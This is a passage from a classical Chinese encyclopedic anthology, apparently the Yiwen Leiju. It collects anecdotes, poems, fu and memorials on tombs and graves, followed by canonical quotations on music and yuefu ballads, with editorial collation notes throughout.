怒 弗 听 . 使 里 人 埋 之 . 冢 相 望 也 . 宿 昔 有 交 梓 木 生 于 二 冢 之 端 . 旬 日 而 大 合 抱 . 屈 体 相 就 . 根 交 于 下 . 又 有 鸳 鸯 鸟 . 雌 雄 各 一 . 恒 栖 树 上 . 交 颈 悲 鸣 . 宋 人 哀 之 . 遂 号 其 木 曰 相 思 树 .\n从 征 记 曰 . 刘 表 冢 在 高 平 郡 . 表 之 子 琮 . 捣 四 方 珍 香 数 十 斛 . 着 棺 中 . 苏 合 消 疾 之 香 . 莫 不 毕 备 . 永 嘉 中 . 郡 人 发 其 墓 . 表 白 如 生 . 香 闻 数 十 里 .\n世 说 曰 . 戴 公 见 林 法 师 墓 曰 . 德 音 未 远 . 而 拱 木 已 积 . 冀 神 理 绵 绵 . 不 与 气 运 俱 尽 耳 .\n戴 延 之 西 征 记 曰 . 金 乡 焦 氏 山 北 数 里 . 有 汉 司 隶 校 尉 曾 峻 冢 . 前 有 石 祠 . 堂 中 四 壁 . 皆 青 石 隐 起 . 自 书 契 以 来 . 忠 臣 孝 子 . 孔 子 七 十 二 人 形 象 . 皆 刻 石 记 之 .\n【 诗 】 古 墟 墓 诗 曰 . 去 者 日 已 疏 . 生 者 日 已 亲 . 出 郭 门 直 视 . 但 见 丘 与 坟 . 古 墓 为 田 . 松 柏 摧 为 薪 . 白 杨 多 悲 风 . 萧 萧 愁 杀 人 . 思 还 故 里 闾 . 欲 归 道 无 因 .\n宋 孝 武 拜 衡 阳 文 王 义 季 墓 诗 曰 . 昧 旦 凭 行 轼 . 濡 露 及 山 庭 . 投 步 矜 履 蹈 . 举 目 增 凄 清 . 轺 路 灭 归 轸 . 沦 闼 负 重 . 深 松 朝 已 雾 . 幽 燧 晏 未 明 . 长 杨 敷 晚 素 . 宿 草 披 初 青 . 哀 往 起 沉 泉 . 追 爱 恸 中 情 . 竹 帛 凭 年 远 . 世 范 随 伏 倾 .\n宋 谢 灵 运 经 庐 陵 王 墓 诗 曰 . 晚 日 发 云 阳 . 落 日 次 朱 方 . 含 凄 泛 广 川 . 洒 泪 眺 连 岗 . 眷 言 怀 君 子 . 沉 痛 切 衷 肠 . 道 消 结 愤 懑 . 运 开 申 悲 凉 . 神 期 恒 若 存 . 德 音 初 不 忘 . 徂 谢 易 永 久 . 松 柏 森 已 行 . 一 随 往 化 灭 . 安 用 空 名 扬 . 举 声 泣 已 历 . 长 叹 不 成 章 .\n齐 随 郡 王 萧 子 隆 经 刘 瓛 墓 下 诗 曰 . 升 堂 子 不 谬 . 问 道 余 未 穷 . 如 何 辞 白 日 . 千 载 隔 音 通 . 山 门 已 一 绝 . 长 夜 缅 难 终 . 初 松 切 暮 鸟 . 新 杨 摧 晚 风 .\n齐 竟 陵 王 萧 子 良 同 随 王 经 刘 先 生 墓 诗 曰 . 汉 陵 掩 馆 芜 . 晋 殄 洙 风 缺 . 五 都 声 论 空 . 三 阿 文 义 绝 . 兴 礼 迈 前 英 . 谈 玄 逾 往 哲 . 桓 井 忽 以 平 . 烟 云 从 容 裔 . 尔 叹 牛 山 悲 . 我 悼 惊 川 逝 .\n梁 沈 约 经 刘 瓛 墓 诗 曰 . 表 闾 钦 逸 轨 . 式 墓 礼 贞 魂 . 化 涂 终 眇 默 . 神 理 暧 犹 存 . 尘 经 未 辍 . 高 衡 已 委 门 . 华 阴 无 遗 布 . 楚 席 有 ● 樽 .\n梁 何 逊 行 经 孙 氏 陵 诗 曰 . 水 龙 忽 东 鹜 . 青 盖 乃 西 归 . 朅 来 易 永 久 . 年 代 暧 微 微 . 苔 石 疑 文 字 . 荆 坟 失 是 非 . 山 鹦 空 曙 响 . 垄 月 自 秋 晖 . 银 海 终 无 浪 . 金 凫 会 不 飞 . 寂 今 如 此 . 望 望 沾 人 衣 .\n陈 阴 铿 行 经 古 墓 诗 曰 . 偃 松 将 古 墓 . 年 代 理 当 深 . 表 柱 应 堪 烛 . 碑 书 欲 有 金 . 回 坟 由 路 毁 . 荒 隧 受 田 侵 . 霏 霏 野 雾 合 . 昏 昏 垄 日 沉 . 悬 剑 今 何 在 . 风 扬 空 自 吟 .\n【 赋 】 后 汉 张 衡 冢 赋 曰 . 系 以 循 隧 . 洽 以 沟 渎 . 曲 折 相 连 . 迤 靡 相 属 . 弈 弈 将 将 . 崇 栋 广 宇 . 在 冬 不 凉 . 在 夏 不 暑 . 祭 祝 是 居 . 神 明 是 处 .\n晋 陆 机 感 丘 赋 曰 . 泛 轻 舟 于 西 川 . 背 京 室 而 电 飞 . 遵 伊 洛 之 抵 渚 . 沿 黄 河 之 曲 湄 . 睹 墟 墓 于 山 梁 . 托 崇 丘 以 自 绥 . 见 兆 域 之 蔼 蔼 . 罗 魁 封 之 垒 垒 . 于 是 徘 徊 洛 涯 . 弭 节 河 干 . 伫 眄 留 心 . 慨 尔 遗 叹 . 仰 终 古 以 远 念 . 穷 万 绪 乎 其 端 . 伊 人 生 之 寄 世 . 犹 水 草 乎 山 河 . 应 甄 陶 以 岁 改 . 顺 通 川 而 日 过 . 尔 乃 申 舟 人 以 遂 往 . 横 大 川 而 有 恶 . 伤 年 命 之 倏 忽 . 怨 天 步 之 不 几 . 虽 履 信 而 思 顺 . 曾 何 足 以 保 兹 . 普 天 壤 其 弗 免 . 宁 吾 人 之 所 辞 . 愿 ● 根 之 晚 坠 . 指 岁 暮 而 为 期 .\n晋 傅 咸 遂 登 芒 赋 曰 . 左 光 禄 大 夫 济 北 侯 荀 公 . 前 丧 元 妃 . 及 失 令 子 . 葬 于 西 芒 . 有 以 感 怀 . 而 作 斯 赋 . 何 天 道 之 难 忱 . 信 厥 命 之 靡 常 . 匪 彼 生 之 不 辰 . 亦 夫 人 之 多 殃 . 惟 济 北 之 初 载 . 夙 遘 旻 而 逢 罹 . 兴 瓜 瓞 之 绵 绵 . 飞 英 声 以 风 驰 . 庶 家 道 之 克 昌 . 永 保 祚 于 螽 斯 . 愠 无 妄 之 为 灾 . 怨 上 皇 之 有 违 . 在 德 门 之 方 隆 . 乃 降 厉 于 元 妃 . 兰 房 其 无 主 . 众 孤 茕 而 莫 依 . 孔 临 川 以 永 叹 . 赵 有 感 于 九 原 . 览 登 芒 之 哀 赋 . 谅 圣 贤 之 同 情 .\n【 表 】 晋 张 士 然 请 汤 武 诸 孙 置 守 冢 人 表 ○ 按 文 选 三 十 八 作 为 吴 令 谢 询 求 为 诸 孙 置 守 冢 人 表 . 此 有 讹 脱 . 曰 . 成 汤 革 夏 而 封 杞 . 武 王 入 殷 而 建 宋 . 西 戎 有 即 叙 之 民 . 京 邑 开 吴 蜀 之 馆 . 兴 灭 加 乎 万 国 . 继 绝 接 于 百 世 . 春 雨 润 木 . 自 叶 落 根 . 鸱 鸮 恤 功 . 爱 子 及 室 . 家 有 义 勇 之 暮 . ○ 文 选 作 基 . 世 传 扶 危 之 业 . 进 为 徇 汉 之 臣 . 退 为 开 吴 之 主 . 而 蒸 尝 绝 于 三 叶 . 园 陵 残 于 薪 采 .\n【 教 】 宋 傅 亮 修 复 前 汉 诸 陵 教 曰 . 夫 信 陵 之 坟 . 守 卫 无 旷 . 展 季 之 垄 . 樵 苏 有 刑 . 彼 匹 夫 怀 道 . 列 国 陪 隶 . 犹 见 礼 异 世 . 取 贵 邻 邦 . 汉 高 拨 乱 反 正 . 大 造 区 宇 . 道 拯 横 流 . 功 高 百 代 . 盛 德 之 烈 . 义 在 不 泯 .\n又 修 楚 元 王 墓 教 曰 . 夫 褒 贤 崇 德 . 千 祀 弥 光 . 尊 本 敬 始 . 义 高 自 远 . 楚 元 王 积 仁 基 德 . 启 蕃 斯 境 . 本 枝 胤 祚 . 隆 彼 四 方 . 遗 芳 余 烈 . 奋 乎 百 世 . 而 丘 封 翳 然 . 坟 茔 莫 翦 . 感 远 在 彼 . 慨 焉 永 怀 . 况 瓜 瓞 攸 兴 . 开 元 自 本 . 可 谓 ○ 文 选 三 十 六 谓 字 无 . 蠲 复 近 墓 五 家 . 长 给 洒 扫 .\n【 文 】 宋 谢 惠 连 祭 古 冢 文 曰 . 东 府 掘 堑 一 丈 . 得 古 冢 . 上 无 封 域 . 明 器 之 属 . 材 瓦 铜 漆 . 有 数 十 种 . 异 形 不 可 尽 识 . 刻 木 为 人 . 长 三 尺 许 . 初 开 见 . 悉 为 人 形 . 以 物 枨 拨 之 . 应 手 灰 灭 . 水 中 有 甘 蔗 节 及 李 核 瓜 蒂 . 皆 浮 出 . 不 甚 烂 坏 . 世 代 不 可 知 也 . 既 不 知 其 名 字 . 故 假 号 曰 冥 漠 君 云 尔 . 刍 ● 已 毁 . 涂 车 既 摧 . 蔗 传 余 节 . 瓜 表 遗 犀 . 十 仞 斯 建 . 百 堵 斯 齐 . 墉 不 可 转 . 堑 不 可 回 . 黄 肠 既 毁 . 便 房 已 颓 . 修 题 兴 念 . 抚 榇 增 哀 .\n梁 任 孝 恭 祭 杂 坟 文 曰 . 惟 尔 冥 然 往 代 . 求 圆 石 而 无 名\n. 邈 矣 遐 年 . 讨 方 砖 而 不 记 . 封 树 漂 殄 . 谁 别 羽 商 之 家\n. 坟 垄 倾 回 . 终 迷 庚 癸 之 向 . 近 创 此 伽 蓝 . 寔 须 泥 丸 .\n命 彼 硕 人 . 置 兹 屯 邑 . 不 谓 纶 绳 所 用 . 遂 毁 牛 亭 之 基 .\n锹 锸 所 侵 . 爰 伤 马 鬣 之 势 . 重 使 翠 幕 临 风 . 佳 城 见 日 .\n昔 灵 沼 枯 骨 . 周 王 改 以 衣 冠 . 广 武 横 尸 . 汉 主 加 其 ⺈ 椟\n. 辄 勒 彼 山 虞 . 覆 颓 隍 于 旧 趾 . 命 兹 匠 者 . 修 反 壤 于 故\n林 . 还 蚁 结 之 文 . 依 似 坊 之 势 . 幸 得 宜 阳 大 道 . 无 变 无\n移 . 京 兆 长 阡 . 勿 回 勿 徙 . 庶 幽 魂 游 止 . 践 昔 径 而 不 疑\n. 涂 车 往 还 . 瞻 旧 辙 而 犹 在 .\n易 曰 . 雷 出 地 奋 豫 . 先 王 以 作 乐 崇 德 . 殷 荐 上 帝 .\n礼 记 曰 . 夔 始 作 乐 . 以 赏 诸 侯 .\n又 曰 . 凡 音 之 起 . 由 人 心 生 也 . 人 心 之 动 . 物 使 之 然 . 感 于 物 而 动 . 故 形 于 声 . 声 相 应 . 故 生 变 . 变 成 方 . 谓 之 音 . 比 音 而 乐 之 . 及 干 戚 羽 旄 . 谓 之 乐 .\n又 曰 . 审 声 以 知 音 . 审 音 以 知 乐 . 审 乐 以 知 政 . 而 治 道 备 矣 .\n又 曰 . 大 乐 必 易 . 大 礼 必 简 . 钟 鼓 管 磬 . 羽 籥 干 戚 . 乐 之 器 也 . 屈 伸 俯 仰 . 缀 兆 疾 舒 . 乐 之 文 也 . 故 知 礼 乐 之 情 者 能 作 . 识 礼 乐 之 文 者 能 述 . 作 者 之 谓 圣 . 述 者 之 谓 明 . 明 圣 者 . 述 作 之 谓 也 . 五 帝 殊 时 . 不 相 沿 乐 . 三 王 异 世 . 不 相 袭 礼 .\n孝 经 曰 . 移 风 易 俗 . 莫 善 于 乐 .\n乐 纬 曰 . 黄 帝 乐 曰 咸 池 . 帝 喾 曰 六 英 . 颛 顼 曰 五 茎 . 尧 曰 大 章 . 舜 曰 箫 韶 . 殷 曰 濩 . 周 曰 酌 . 是 以 清 和 上 升 . 天 下 乐 其 风 俗 . 凤 皇 来 仪 . 百 兽 率 舞 . 神 龙 升 降 . 灵 龟 晏 宁 .\n尚 书 曰 . 帝 曰 . 夔 . 命 汝 典 乐 . 教 胄 子 . 诗 言 志 . 歌 永 言 . 声 依 永 . 律 和 声 . 八 音 克 谐 . 无 相 夺 伦 . 神 人 以 和 . 夔 曰 . 于 . 予 击 石 拊 石 . 百 兽 率 舞 .\n周 官 曰 . 凡 六 乐 者 . 一 变 而 致 羽 物 及 川 泽 之 祇 . 再 变 而 致 裸 物 及 山 林 之 祇 . 三 变 而 致 鳞 物 及 丘 陵 之 祇 . 四 变 而 致 毛 物 及 坟 衍 之 祇 . 五 变 而 致 介 物 及 土 示 . 六 变 而 致 象 物 及 天 神 . 九 德 之 歌 . 九 磬 之 舞 . 于 宗 庙 之 中 奏 之 . 若 乐 九 变 . 则 人 鬼 可 得 而 礼 矣 .\n又 曰 . 钟 师 . 掌 金 奏 . 凡 乐 事 . 以 钟 鼓 奏 九 夏 .\n穆 天 子 传 曰 . 天 子 西 征 . 至 于 玄 池 之 上 . 乃 奏 广 乐 . 三 日 而 终 . 是 曰 乐 池 .\n论 语 曰 . 子 在 齐 . 闻 韶 . 三 月 不 知 肉 味 . 曰 . 不 图 为 乐 之 至 于 斯 .\n楚 辞 曰 . 陈 钟 案 鼓 造 新 歌 . 涉 江 采 菱 发 阳 阿 . 二 八 齐 容 起 郑 舞 . 衽 若 交 竿 抚 案 下 . 竽 瑟 狂 会 填 鸣 鼓 . 宫 庭 震 惊 发 激 楚 . 又 . 代 奏 ○ 楚 辞 大 招 作 秦 . 郑 卫 鸣 竽 张 . 伏 戏 驾 辨 楚 劳 商 .\n韩 子 曰 . 昔 卫 ● 公 之 晋 . 于 濮 水 之 上 宿 . 夜 闻 有 新 声 者 . 召 师 涓 抚 瑟 写 之 . 公 遂 之 晋 . 晋 平 公 觞 之 . ● 公 乃 召 师 涓 . 坐 师 旷 之 傍 . 援 琴 鼓 之 . 未 终 . 师 旷 曰 . 不 如 清 征 . 平 公 曰 . 愿 试 听 之 . 师 旷 援 琴 一 奏 . 有 玄 鹤 二 八 来 集 . 再 奏 而 列 . 三 奏 而 延 颈 鸣 . 舒 翼 而 舞 . 音 中 宫 商 . 师 旷 曰 . 不 如 清 角 . 师 旷 一 奏 之 . 有 云 从 西 北 方 来 . 再 奏 之 . 大 风 至 . 大 雨 随 之 . 裂 帷 幕 . 破 俎 豆 . 堕 廊 瓦 .\n史 记 曰 . 赵 简 子 疾 . 五 日 不 知 人 . 居 二 日 半 . 简 子 寤 . 语 大 夫 曰 . 我 之 帝 所 . 甚 乐 . 与 百 神 游 于 钧 天 . 广 乐 九 奏 万 舞 .\n盐 铁 论 曰 . 贵 人 之 家 . 中 山 索 女 . 抚 流 征 于 堂 . 与 鸣 鼓 巴 渝 交 作 堂 下 .\n汉 武 故 事 曰 . 未 央 庭 中 . 设 角 抵 戏 . 享 外 国 . 三 百 里 内 观 . 角 抵 者 . 使 角 力 相 触 也 . 其 云 雨 雷 电 . 无 异 于 真 . 画 地 为 川 . 聚 石 成 山 . 倏 忽 变 化 . 无 所 不 为 .\n汉 官 典 职 曰 . 正 旦 . 天 子 行 阳 德 殿 . 作 九 宾 乐 . 舍 利 从 东 来 . 戏 于 庭 . 入 殿 前 . 激 水 化 成 比 目 鱼 . 跳 跃 漱 水 作 雾 . 化 成 黄 龙 . 高 八 十 丈 . 出 水 戏 于 庭 . 以 两 大 丝 缠 系 两 头 . 中 间 相 去 数 丈 . 两 倡 女 对 舞 . 行 于 绳 上 . 道 逢 功 ○ 续 汉 书 礼 仪 志 引 汉 仪 改 切 . 肩 不 倾 . 又 踏 跼 屈 身 . 藏 形 于 斗 中 . 钟 磬 普 唱 . 乐 毕 . 作 鱼 龙 曼 延 . 黄 门 吹 三 匝 .\n淮 南 子 曰 . 奏 雅 乐 者 . 始 于 阳 阿 采 菱 .\n五 经 通 义 曰 . 舞 四 夷 之 乐 . 明 德 泽 广 被 四 表 也 . 东 夷 之 乐 曰 抹 ○ 太 平 御 览 五 百 六 十 七 作 侏 . 离 . 南 夷 之 乐 曰 任 . 西 夷 之 乐 曰 禁 . 北 夷 之 乐 曰 昧 .\n又 曰 . 受 命 而 王 者 六 乐 焉 . 以 太 一 乐 天 . 以 咸 池 乐 地 . 以 肆 夏 乐 人 . 以 大 夏 乐 四 时 . 以 大 濩 乐 五 行 神 明 . 以 大 武 乐 六 律 . 各 象 其 性 分 . 而 为 之 制 . 以 乐 其 先 祖 .\n又 曰 . 王 者 之 乐 有 先 后 者 . 各 尚 其 德 也 . 以 文 得 之 . 先 文 乐 . 天 绣 ○ 北 堂 书 钞 一 百 零 七 作 衣 绣 衣 . 此 有 讹 脱 . 持 羽 而 舞 . 以 武 得 之 . 先 武 乐 . 持 朱 干 玉 戚 而 舞 .\n五 经 要 义 曰 . 周 礼 钟 磬 皆 编 悬 之 . 二 八 十 六 而 在 一 . 谓 之 堵 磬 . 一 堵 谓 之 肆 . 春 秋 传 曰 . 歌 钟 二 肆 . 此 之 谓 也 .\n又 曰 . 凡 乐 音 有 八 . 鼓 谓 之 革 . 钟 谓 之 金 . 磬 谓 之 石 . 琴 瑟 谓 之 丝 . 箫 鼓 谓 之 竹 . 埙 谓 之 土 . 柷 敔 谓 之 木 . 笙 谓 之 匏 . 是 谓 八 音 .\n袁 淮 招 公 子 曰 . 燕 倡 赵 舞 齐 商 歌 . 五 色 纷 华 曳 纤 罗 .\n挚 虞 决 疑 曰 . 汉 末 丧 乱 . 绝 无 金 石 之 乐 . 魏 武 帝 至 汉 中 . 得 杜 夔 . 识 旧 法 . 始 复 设 轩 悬 钟 磬 . 至 于 今 用 之 .\n【 乐 府 古 诗 】 饮 马 长 城 窟 行 曰 . 青 青 河 畔 草 . 绵 绵 思 远 道 . 远 道 不 可 思 . 宿 昔 梦 见 之 . 梦 见 在 我 旁 . 忽 觉 在 他 乡 . 他 乡 各 异 县 . 展 转 不 相 见 . 枯 桑 知 天 风 . 海 水 知 天 寒 . 入 门 各 自 媚 . 谁 肯 相 与 言 . 客 从 远 方 来 . 遗 我 双 鲤 鱼 . 呼 儿 烹 鲤 鱼 . 中 有 尺 素 书 . 长 跪 读 素 书 . 书 中 竟 何 如 . 上 有 加 餐 饭 . 下 有 长 相 思 .\n魏 文 帝 饮 马 长 城 窟 行 曰 . 浮 舟 横 大 江 . 讨 彼 犯 荆 虏 . 武 将 齐 贯 錍 . 征 人 伐 金 鼓 . 长 戟 十 万 队 . 幽 冀 百 石 弩 . 发 机 若 雷 电 . 一 发 连 四 五 .\n晋 傅 玄 饮 马 长 城 窟 行 曰 . 青 青 河 边 草 . 悠 悠 万 里 道 . 草 生 在 春 时 . 还 道 还 有 期 . 春 至 草 不 生 . 期 尽 漠 无 声 . 感 物 怀 思 心 . 梦 想 发 中 情 . 梦 君 如 鸳 鸯 . 比 翼 云 闲 翔 . 既 觉 寂 无 见 . 旷 若 参 与 商 .\n晋 陆 机 饮 马 长 城 窟 行 曰 . 驱 马 陟 阴 山 . 山 高 马 不 前 . 往 问 阴 山 候 . 劲 虏 在 燕 然 . 末 德 争 先 鸣 . 凶 德 无 两 全 . 师 克 薄 赏 行 . 军 没 微 躯 捐 . 将 军 甘 陈 迹 . 收 功 单 于 旃 .\n梁 沈 约 饮 马 长 城 窟 行 . 介 马 渡 龙 堆 . 涂 萦 马 屡 回 . 前 访 昌 海 驿 . 杂 种 寇 轮 台 . 旌 幕 倦 烟 雨 . 徒 御 犯 冰 埃 .\n晋 陆 机 董 桃 行 六 言 曰 . 和 风 习 习 薄 林 . 柔 条 布 繁 垂 阴 . 鸣 鸠 拂 羽 相 寻 . 仓 鹒 喈 喈 弄 音 . 感 时 悼 逝 伤 心 .\n又 长 安 有 狎 斜 行 曰 . 伊 洛 有 岐 路 . 岐 路 交 朱 轮 . 轻 盖 承 华 景 . 腾 步 蹑 飞 尘 . 鸣 玉 岂 朴 儒 . 凭 轼 皆 俊 民 . 烈 心 厉 劲 秋 . 丽 服 鲜 芳 春 . 余 本 倦 游 客 . 豪 彦 多 旧 亲 . 倾 盖 承 芳 讯 . 欲 鸣 赏 及 晨 .\n宋 谢 惠 连 长 安 有 狭 斜 行 曰 . 纪 郢 有 通 逵 . 通 逵 并 轩 车 . 弈 弈 雕 轮 驰 . 轩 轩 翠 盖 舒 . 撰 策 之 五 尹 . 振 辔 从 三 闾 . 推 剑 凭 前 轼 . 鸣 佩 专 后 舆 .\n梁 沈 约 长 安 有 狭 斜 行 曰 . 青 槐 金 陵 陌 . 丹 毂 贵 游 士 . 方 骖 万 乘 臣 . 炫 服 千 金 子 . 咸 阳 不 足 称 . 临 淄 孰 能 拟 .\n梁 庾 肩 吾 长 安 有 狭 斜 诗 曰 . 长 安 有 曲 陌 . 曲 陌 不 容 幰 . 路 逢 双 绮 襦 . 问 君 居 近 远 . 我 居 临 御 沟 . 可 识 不 难 求 . 长 子 登 麟 阁 . 次 子 待 龙 楼 . 少 子 无 高 位 . 聊 从 严 驾 游 . 大 妇 襞 云 裘 . 中 妇 卷 罗 帱 . 少 妇 多 妖 艳 . 当 钿 椠 石 榴 . 夫 君 且 安 坐 . 欢 娱 方 未 周 .\n宋 鲍 昭 结 客 少 年 场 行 曰 . 骢 马 金 络 头 . 锦 带 佩 吴 钩 . 失 意 杯 酒 闲 . 白 刃 起 相 雠 . 追 兵 一 旦 至 . 负 剑 远 行 游 . 去 乡 三 十 载 . 复 得 还 旧 丘 . 升 高 临 四 野 . 表 里 望 皇 州 . 九 衢 平 若 水 . 双 阙 似 云 浮 . 扶 宫 罗 将 相 . 夹 道 列 王 侯 . 日 中 市 朝 满 . 车 马 如 川 流 . 击 钟 陈 鼎 食 . 方 驾 自 相 求 . 今 我 独 何 为 . 陷 壈 怀 百 忧 .\n梁 刘 孝 威 结 客 少 年 场 行 曰 . 少 年 本 六 郡 . 遨 游 遍 五 都 . 插 腰 铜 匕 首 . 障 日 锦 涂 苏 . 鹫 羽 装 银 镝 . 犀 胶 饰 象 弧 . 近 发 连 双 兔 . 高 弯 落 九 乌 . 边 城 多 惊 急 . 节 使 满 郊 衢 . 居 延 箭 服 尽 . 疏 勒 井 泉 枯 . 千 金 募 恶 少 . 一 麾 擒 骨 都 . 勇 余 聊 蹙 鞠 . 战 罢 戏 投 壶 . 昔 为 北 边 将 . 今 成 南 面 孤 . 邦 君 行 负 弩 . 县 令 且 前 驱 .\n宋 鲍 昭 出 自 蓟 北 门 行 曰 . 羽 檄 起 边 亭 . 烽 火 入 咸 阳 . 征 骑 屯 广 武 . 分 兵 救 朔 方 . 严 秋 筋 竿 劲 . 虏 阵 精 且 彊 . 天 子 案 剑 怒 . 使 者 遥 相 望 . 雁 行 缘 石 径 . 鱼 贯 度 飞 梁 . 箫 鼓 流 汉 思 . 旌 甲 被 胡 霜 . 疾 风 冲 塞 起 . 沙 砾 自 飘 扬 . 马 毛 缩 如 猬 . 角 弓 不 可 张 . 时 危 见 臣 节 . 世 乱 识 忠 良 . 投 躯 报 明 主 . 身 死 为 国 殇 .\n周 庾 信 出 自 蓟 北 门 行 曰 . 蓟 门 还 北 望 . 徭 役 尽 伤 情 . 笳 寒 芦 叶 脆 . 弓 冻 纻 弦 鸣 . 梅 林 能 止 渴 . 复 姓 可 防 兵 . 燕 山 犹 有 石 . 须 勒 几 人 名 .\n陈 徐 陵 出 自 蓟 北 门 行 曰 . 蓟 北 聊 长 望 . 黄 昏 心 独 愁 . 燕 山 对 古 刹 . 代 郡 倚 城 楼 . 屡 战 桥 恒 断 . 长 冰 堑 不 流 . 天 云 如 地 阵 . 汉 月 带 胡 秋 . 请 土 泥 函 谷 . 桉 绳 缚 凉 州 . 生 平 鷰 颔 相 . 会 自 得 封 侯 .\n宋 鲍 昭 苦 热 行 曰 . 赤 阪 横 西 阻 . 火 山 赫 南 威 . 身 热 头 且 痛 . 鸟 堕 魂 来 归 . 汤 泉 发 云 泽 . 焦 烟 起 石 圻 . 丹 蛇 逾 百 尺 . 玄 蜂 盈 十 围 . 含 沙 射 流 影 . 吹 蛊 病 行 晖 . 戈 船 荣 既 薄 . 伏 波 赏 亦 微 . 君 轻 君 尚 惜 . 士 重 安 可 希 .\n又 白 头 行 吟 曰 . 直 如 朱 丝 绳 . 清 如 玉 壶 冰 . 何 惭 宿 昔 意 . 猜 恨 坐 相 仍 . 人 情 贱 恩 旧 . 世 议 逐 衰 兴 . 毫 发 一 为 瑕 . 丘 山 不 可 胜 . 凫 鹤 远 成 美 . 薪 刍 前 见 陵 . 申 黜 褒 女 进 . 班 去 赵 姬 升 . 古 来 共 如 此 . 非 君 独 抚 膺 .\n魏 文 帝 钓 竿 行 曰 . 东 越 河 济 水 . 遥 望 大 海 崖 . 钓 竿 何 珊 珊 . 鱼 尾 何 簁 簁 . 行 路 之 好 者 . 芳 饵 欲 何 为 .\n梁 沈 约 钓 竿 行 曰 . 桂 舟 既 容 与 . 绿 浦 复 回 纡 . 轻 丝 动 弱 芰 . 微 楫 起 单 凫 . 扣 舷 志 日 暮 . 卒 岁 以 为 娱 .\n梁 戴 嵩 钓 竿 篇 曰 . 试 持 玄 渚 钓 . 蹔 罢 池 阳 猎 . 翠 羽 饰 长 纶 . 蕖 花 装 小 . 钜 利 断 莼 丝 . 泛 举 牵 菱 叶 . 聊 载 前 鱼 童 . 过 看 后 舟 妾 .\n梁 刘 孝 威 钓 竿 篇 曰 . 钓 舟 画 采 鹢 . 鱼 子 服 冰 纨 . 金 辖 茱 萸 网 . 银 钩 翡 翠 竿 . 敛 桡 随 水 脉 . 急 桨 度 沙 湍 . 湍 长 自 不 辞 . 前 浦 有 佳 期 . 莲 交 桌 影 合 . 浦 深 鱼 出 迟 .\n魏 陈 王 曹 植 太 山 梁 甫 行 曰 . 八 方 各 异 气 . 千 里 殊 风 雨 . 剧 哉 边 海 民 . 寄 身 于 草 墅 . 妻 子 象 禽 兽 . 行 止 依 林 阻 . 柴 门 何 萧 条 . 狐 兔 翔 我 宇 .\n梁 沈 约 梁 甫 吟 行 曰 . 龙 驾 有 驰 策 . 日 御 无 停 阴 . 寒 光 稍 眇 眇 . 秋 海 日 沉 沉 . 哀 歌 涉 梁 甫 . 叹 绝 有 遗 吟 .\n魏 陈 王 曹 植 豫 章 行 曰 . 穷 达 难 豫 图 . 祸 福 信 亦 然 . 虞 舜 不 逢 尧 . 耕 耘 处 中 田 . 太 公 未 遭 文 . 渔 钓 经 渭 川 . 不 见 鲁 孔 丘 . 穷 困 陈 蔡 闲 . 周 公 下 白 屋 . 天 下 称 其 贤 .\n又 曰 . 鸳 鸯 自 用 亲 . 不 若 比 翼 连 . 他 人 虽 同 盟 . 骨 肉 天 性 然 . 周 公 穆 康 叔 . 管 蔡 则 流 言 . 子 臧 让 千 乘 . 季 札 慕 其 贤 .\n晋 傅 玄 豫 章 行 曰 . 苦 相 身 为 女 . 早 ○ 冯 校 本 作 平 . 按 乐 府 诗 集 三 十 四 作 卑 . 当 作 卑 . 陋 难 再 陈 . 男 儿 当 门 户 . 堕 地 自 生 神 . 雄 心 志 四 海 . 万 里 望 风 尘 . 女 育 无 欣 庆 . 不 为 家 所 珍 . 玉 颜 随 年 变 . 丈 夫 多 好 新 . 昔 为 形 与 影 . 今 为 胡 与 秦 .\n晋 陆 机 豫 章 行 曰 . 泛 舟 清 川 渚 . 遥 望 南 山 阴 . 川 陆 殊 涂 轨 . 懿 亲 将 远 寻 . 三 荆 欢 同 株 . 四 鸟 悲 异 林 . 乐 会 良 自 古 . 悼 别 岂 独 今 .\n宋 谢 灵 运 豫 章 行 曰 . 短 生 旅 长 世 . 恒 觉 白 日 欹 . 览 镜 睨 颓 容 . 华 颜 岂 久 期 . 苟 无 回 戈 术 . 坐 观 落 崦 嵫 .\n梁 沈 约 豫 章 行 曰 . 燕 陆 平 而 远 . 易 河 清 且 驶 . 一 见 尘 波 阻 . 临 涂 引 征 思 . 双 剑 爱 匣 同 . 孤 鸾 悲 影 异 . 往 欢 坠 壮 心 . 来 戚 满 衰 志 .\n魏 陈 王 曹 植 薤 露 行 曰 . 天 地 无 穷 极 . 阴 阳 转 相 因 . 人 居 一 世 闲 . 忽 若 风 吹 尘 . 愿 得 展 功 勤 . 输 力 于 明 君 . 怀 此 王 佐 才 . 慷 恺 独 不 群 . 鳞 介 尊 神 龙 . 走 兽 宗 骐 麟 . 虫 兽 岂 知 德 . 何 况 于 士 人 . 孔 氏 删 诗 书 . 王 业 粲 已 分 . 骋 我 径 寸 翰 . 流 藻 垂 华 芬 .\n魏 文 帝 秋 胡 行 曰 . 尧 任 舜 禹 . 当 复 何 为 . 百 兽 率 舞 . 凤 皇 来 仪 . 得 人 则 安 . 失 人 则 危 . 唯 贤 知 贤 . 人 不 易 知 . 歌 以 咏 言 . 诚 不 易 移 . 鸣 条 之 役 . 万 举 必 全 . 明 德 通 ● . 福 降 自 天 .\n又 曰 . 朝 与 佳 人 期 . 日 夕 殊 不 来 . 嘉 肴 不 尝 . 旨 酒 停 杯 . 寄 言 飞 鸟 . 告 余 不 能 . 俯 折 兰 黄 . 仰 结 桂 枝 . 佳 人 不 在 . 结 之 何 为 . 从 尔 何 所 之 . 乃 至 大 海 隅 . 灵 若 道 言 . 贻 尔 明 珠 . 企 予 望 之 . 步 立 躇 蹰 . 佳 人 不 来 . 何 得 何 须 .\n又 曰 . 泛 泛 渌 池 . 中 有 浮 萍 . 寄 身 流 波 . 随 风 靡 倾 . 芙 蓉 含 芳 . 菡 萏 垂 荣 . 朝 采 其 实 . 夕 佩 其 英 . 采 之 谁 遗 . 所 思 在 庭 . 双 鱼 比 目 . 鸳 鸯 交 颈 . 有 美 一 人 . 婉 如 青 阳 . 知 音 识 曲 . 善 为 乐 方 .\n又 丹 霞 蔽 日 行 曰 . 丹 霞 蔽 日 . 采 虹 垂 天 . 谷 水 潺 潺 . 木 落 翩 翩 . 孤 禽 失 群 . 悲 鸣 云 闲 . 月 盈 则 冲 . 华 不 再 繁 . 古 来 有 之 . 嗟 我 何 言 .\n魏 陈 王 曹 植 曰 . 纣 为 昏 乱 . 残 忠 虐 正 . 周 室 何 隆 . 一 门 三 圣 . 牧 野 致 功 . 天 亦 革 命 . 汉 祖 之 兴 . 阶 秦 之 衰 . 虽 有 南 面 . 王 道 陵 夷 . 